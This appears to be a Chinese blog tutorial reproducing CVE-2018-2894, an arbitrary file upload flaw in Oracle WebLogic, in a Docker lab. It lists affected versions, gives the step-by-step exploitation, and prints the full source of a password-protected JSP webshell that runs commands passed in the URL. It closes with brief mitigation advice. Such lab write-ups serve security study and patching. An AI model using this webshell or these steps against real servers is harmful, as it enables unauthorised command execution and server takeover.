Weblogic任意文件上传漏洞

1.Weblogic介绍


    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

2.漏洞描述


    Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。Oracle 2018 年 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制,漏洞存在页面在/ws_utc/config.do。

3.影响版本


     weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。

4.环境搭建

进入CVE-2018-2894目录

启动容器

docker-compose up -d

查看端口

docker ps- a

5.漏洞复现

访问​​​​​​http://192.168.0.118:7001/console/login/LoginForm.jsp进入登录页面

查看管理员账户密码,管理员用户名为weblogic,密码为d7SZ3NYK

docker-compose logs | grep password

登录后台页面,点击base_domain的配置,在 ‘高级’ 中勾选 ‘启用 Web 服务测试页’ 选项,然后保存配置。

访问

http://192.168.0.118:7001/ws_utc/config.do

,设置Work Home Dir为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

,访问这个目录是无需权限的,这一点很重要。

然后点击 ‘安全’ -> ‘添加’ ,然后上传jsp大马

#jspexec.jsp jsp有回显带密码验证的,这里脚本的密码为666
#访问时url格式如下
#http://127.0.0.1/jspexec.jsp?pwd=666&i=ls
<%
if("666".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

审查元素,使用抓包方式进行查看时间戳

访问

http://192.168.0.118:7001/ws_utc/css/config/keystore/1697641610485_1.jsp?pwd=666&i=ls

,即可执行webshell

6.漏洞防御

1、 设置config.do,begin.do页面登录授权后访问;

2、 IPS等防御产品可以加入相应的特征;

3、 升级到官方的最新版本。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值